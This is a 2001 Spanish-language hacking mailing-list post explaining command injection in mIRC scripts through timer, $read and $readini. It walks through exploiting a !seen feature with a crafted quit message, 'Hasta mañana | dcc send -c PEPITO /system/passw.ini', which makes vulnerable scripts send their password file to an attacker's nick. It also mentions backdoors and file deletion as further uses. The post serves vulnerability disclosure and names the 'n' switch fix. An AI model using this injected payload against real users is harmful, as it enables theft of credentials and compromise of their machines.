[HACK] Bugs de los scripts de irc
^MoRpH-x^
dasoul at iname.com
Mon Sep 10 15:22:59 CEST 2001
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hola RoMaN,
El comando timer ejecuta los comandos que le pases, incluidos
aquellos que van separados por |, no es un error del mIRC a mi
entender, es un comando muy potente que te permite ejecutar varios
comandos en cierto momento específico.
Por supuesto dada su potencia, hay que tener cuidado y evaluar
todas las posibilidades de explotarlo que pueda tener, antes de
decidir utilizar un timer u otro método.
Comandos similares (es decir, que evaluan el | y ejecutan los
comandos que le pases) son el $read o el $readini.
A estos identificadores que sirven para leer lineas de texto de un
archivo dado, hay que indicarles ESPECIFICAMENTE que no quieres que
evaluen la linea:
"If the n switch is specified then the line read in will not be
evaluated and will be treated as plain text."
Y aquí radican muchos "exploits" para scripts de mIRC, y es que a
veces uno no se da cuenta de que esa linea que se va a leer ha
podido ser escrita remotamente, con comandos solapados, y al
leerla el script, se ejecuten.
Bien, ahora pensemos de qué forma se puede explotar ésto. Para
ello solo hay que encontrar en el script algún sistema activable
remotamente por un usuario.
Ejemplos de esto se pueden dar en sistemas !seen.
Es decir, una base de datos de la ultima vez que vimos a cierta
gente, y haciendo qué cosas.
Un hipotético caso explicado paso a paso:
Cuando alguien desconecta, se escribe una linea de texto a nuestra
"base de datos" que es un archivo ini, tal que así:
willsmith=willsmith visto por última vez el 08/09/2001 a las
15:59:56, dejando el IRC: Read error to willsmith: No route to host
Pues bien, supongamos que ahora nosotros queremos explotar ese
script. Creamos un mensaje de quit que nos "sirva" para algo, tal
que así: Hasta mañana | dcc send -c PEPITO /system/passw.ini
y desconectamos tan tranquilos...
Si el quit se ha producido en un canal "grande", nadie se dará
cuenta, y mucho menos el propietario/s de los scripts vulnerables.
Muy bien, ahora conectamos de nuevo, con otro nick (esto es
importante), nos metemos en el canal donde hicimos esto, y pedimos
un !seen NICK, donde NICK es el nick con el cual hicimos
anteriormente el quit.
Los scripts vulnerables (también los no vulnerables) y que tengan
el servidor !seen activado, nos contestarán diciendonos cuando
fué la ultima vez que nos vieron y haciendo qué (un quit), pero
los vulnerables además, ejecutarán el envio del archivo de
passwords del script, al nick PEPITO, que con anterioridad
tendremos que haber conectado al IRC (puede ser el mismo nick con
el que pedimos el !seen pero cantaría más).
Y eso es todo. Es un "exploit" de lo más sencillo, y bueno, en
este caso envia passwords, pero se puede utilizar para infinidad
de cosas, desde introducirle una backdoor al usuario, hasta
borrarle el script entero y de paso el windows.
Yo esta vulnerabilidad la he podido comprobar en varios scripts
(la mayoría nada conocidos, gracias a dios).
Y como ésta hay otras muchas, que funcionan de forma muy similar.
Otro ejemplo son las peticiones @find *madonna* que en algunos
scripts funcionan mediante timers ;)
Un saludo.
En respuesta al mensaje del 09/09/2001 (13:17):
> ¿Alguien sabe de otros comandos de mirc estilo "timer" que sean
> vulnerables?
> Más aún: ¿conoceis otro tipo de vulnerabilidades típicas en
> scripts de mirc?
- ---
Atentamente, ^MoRpH-x^
- -|PhAnATiC-ScRiPT|- [v5.0.r03] for mIRC 5.91
http://www.kalendas.net - http://come.to/undergr0und
'Press CTRL + !@#$#@^#$&!@%& to continue ...'
Public PGP Key: http://www.kalendas.net/morph-key.asc
'El reparto más equitativo es el de la inteligencia: TODO EL MUNDO
CREE TENER SUFICIENTE'
-----BEGIN PGP SIGNATURE-----
Version: PGP 7.0.4
iQA/AwUBO5y+JaZpSG0jTq6tEQJ04wCgzjXlcK1AMt2hpU6cStBIBkUxgt8AoI8Z
zAiqe++7w82CKQFz+Khz343e
=PKvq
-----END PGP SIGNATURE-----
More information about the hacking
mailing list